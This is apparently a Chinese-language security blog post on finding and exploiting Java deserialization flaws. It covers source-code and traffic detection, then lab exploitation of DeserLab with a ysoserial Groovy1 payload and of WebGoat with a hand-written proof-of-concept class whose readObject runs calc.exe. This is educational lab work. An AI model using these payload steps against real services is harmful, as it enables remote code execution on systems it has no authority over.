Yoga7xm's Blog

Java反序列化漏洞实践利用学习-(2)

字数统计: 1.4k阅读时长: 5 min
2018/11/03 Share

0x01 漏洞检测方案

白盒测试

主要遵循两个规则:

  • 从漏洞利用原理角度出发:检测可利用的第三方库及版本,但这个可能会有遗漏,就是对引用的第三方库中是否也引入了这些可利用的第三方库。
  • 解析java源代码,可以被序列化的类一定实现了Serializable接口且重写了readObject()方法。如果在项目代码某处调用了ObjectInputStream.readObject()且反序列化对象追溯到是可由外部参数输入控制则基本可以确定存在反序列化漏洞了

具体方法:

  1. 通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点可以搜索以下方法:

    ObjectInputStream.readObject
    ObjectInputStream.readUnshared
    XMLDecoder.readObject
    Yaml.load
    XStream.fromXML
    ObjectMapper.readValue
    JSON.parseObject

  2. 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可)。

  3. 若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。

  4. 若包含危险库,则使用ysoserial进行攻击复现。


【注】: ysoserial工具是在常见的Java库中发现的实用程序和面向属性的编程“小工具链”的集合,它们可以在适当的条件下利用Java应用程序执行不安全的对象反序列

黑盒测试

  • 黑盒流量分析:

    ​ 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输。因而在流量中有一些特征:

    (1)TCP:必有ac ed 00 05,这个16进制流基本上也意味者java反序列化的开始;

    (2)HTTP:必有rO0AB,其实这就是ac ed 00 05的base64编码的结果;

    以上意味着存在Java反序列化,可尝试构造payload进行攻击。

  • 黑盒Java的RMI:

    ​ rmi是java的一种远程对象(类)调用的服务端,默认于1099端口,基予socket通信,该通信实现远程调用完全基于序列化以及反序列化。

0x02 DeserLab环境测试

此处利用github上的一个简易版的Java程序DeserLab使用了Groovy库的简单网络协议应用,实现client向server端发送序列化数据的功能。

运行服务器端和客户端,可以使用以下命令:

1
2
java -jar DeserLab.jar -server 127.0.0.1 8899
java -jar DeserLab.jar -client 127.0.0.1 8899

结果为:

1
2
3
4
5
6
7
$ java -jar DeserLab.jar -client 127.0.0.1 8899
[+] DeserClient started, connecting to 127.0.0.1:8899
[+] Connected, reading server hello packet...
[+] Hello received, sending hello to server...
[+] Hello sent, reading server protocol version...
[+] Sending supported protocol version to the server...
[+] Enter a client name to send to the server:
1
2
3
4
5
6
7
8
9
10
$ java -jar DeserLab.jar -server 127.0.0.1 8899
[+] DeserServer started, listening on 127.0.0.1:8899
[+] Connection accepted from 127.0.0.1:59021
[+] Sending hello...
[+] Hello sent, waiting for hello from client...

[+] Hello received from client...
[+] Sending protocol version...
[+] Version sent, waiting for version from client...
[+] Client version is compatible, reading client name...

此时开启RawCap.exe进行监听流量

客户端开始向服务器发送消息

服务器端回显

此时用wireshark打开dumpfile.pcap过滤筛选并进行分析

使用SerializationDumper 工具对其序列化数据进行分析

1
$ java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101770d000b68656c6c6f20776f726c64737200146e622e64657365722e4861736852657175657374e52ce9a92ac1f9910200024c000a64617461546f486173687400124c6a6176612f6c616e672f537472696e673b4c00077468654861736871007e0001787074000568656c6c6f740000

从序列化数据分析工具的输出中知道的第一件事就是它是序列化数据,第二件事是显然是在客户端和服务器之间传输了一个对象’nb.deser.HashRequest’。如果我们还将此分析与之前的wireshark检查结合起来,我们还会了解到用户名是作为TC_BLOCKDATA类型内的字符串发送的:

1
2
3
TC_BLOCKDATA - 0x77
Length - 13 - 0x0d
Contents - 0x000b68656c6c6f20776f726c64s

用ysoserial生成针对Groovy库的payload

1
java -jar ysoserial-master.jar Groovy1 "calc.exe" >payload.bin

使用deserlab_exploit.py脚本生成payload并执行

1
python2 deserlab_exploit.py 127.0.0.1 8899 payload.bin

成功执行命令

两次的TCP流对比

0x03 Webgoat环境测试

环境的搭建

apt-get install -y default-jre

然后查看Java版本信息

java -version

下载webgoat

wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webgoat-server-8.0.0.M21.jar

安装 webgoat

java -jar webgoat-server-8.0.0.M21.jar --server.port=8000 --server.address=0.0.0.0

出现了这个,即运行成功

于是打开浏览器 http://192.168.114.128:8000/WebGoat/

进去随便注册个账号即可

其他的启动方法: https://github.com/WebGoat/WebGoat

查看源代码

打开\WebGoat-develop\webgoat-lessons\insecure-deserialization\src\main\java\org\owasp\webgoat\plugin\InsecureDeserializationTask.java源文件

查看关键代码

将传来的数据直接base64解码然后进行readObject()

尝试简单构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.*;

class Poc implements Serializable{
//重写readObject()
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
//执行默认的readObject()
in.defaultReadObject();
//执行打开计算器命令
Runtime.getRuntime().exec("calc.exe");
}
}
public class Exp{
public static void main(String[] args) throws Exception{
Poc poc = new Poc();
FileOutputStream file = new FileOutputStream("C:\\Users\\Administrator\\Desktop\\poc.out");
ObjectOutputStream oos = new ObjectOutputStream(file);
oos.writeObject(poc);
oos.close();
}
}

打开生成的文件

利用SerializationDump进行分析

$ java -jar SerializationDumper-v1.0.jar aced000573720003506f630f33e7a924a5f59d0200007870

读取到数据的字段结构内容

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
​ TC_CLASSDESC - 0x72
​ className
​ Length - 3 - 0x00 03
​ Value - Poc - 0x506f63
​ serialVersionUID - 0x0f 33 e7 a9 24 a5 f5 9d
​ newHandle 0x00 7e 00 00
​ classDescFlags - 0x02 - SC_SERIALIZABLE
​ fieldCount - 0 - 0x00 00
​ classAnnotations
​ TC_ENDBLOCKDATA - 0x78
​ superClassDesc
​ TC_NULL - 0x70
​ newHandle 0x00 7e 00 01
​ classdata
​ Poc
​ values


0x04 参考链接

The Java serialization algorithm revealed

Java反序列化漏洞从入门到深入

Java Deserialization — From Discovery to Reverse Shell on Limited Environments

CATALOG
  1. 1. 0x01 漏洞检测方案
    1. 1.1. 白盒测试
    2. 1.2. 黑盒测试
  2. 2. 0x02 DeserLab环境测试
  3. 3. 0x03 Webgoat环境测试
    1. 3.1. 环境的搭建
    2. 3.2. 查看源代码
    3. 3.3. 尝试简单构造poc
  4. 4. 0x04 参考链接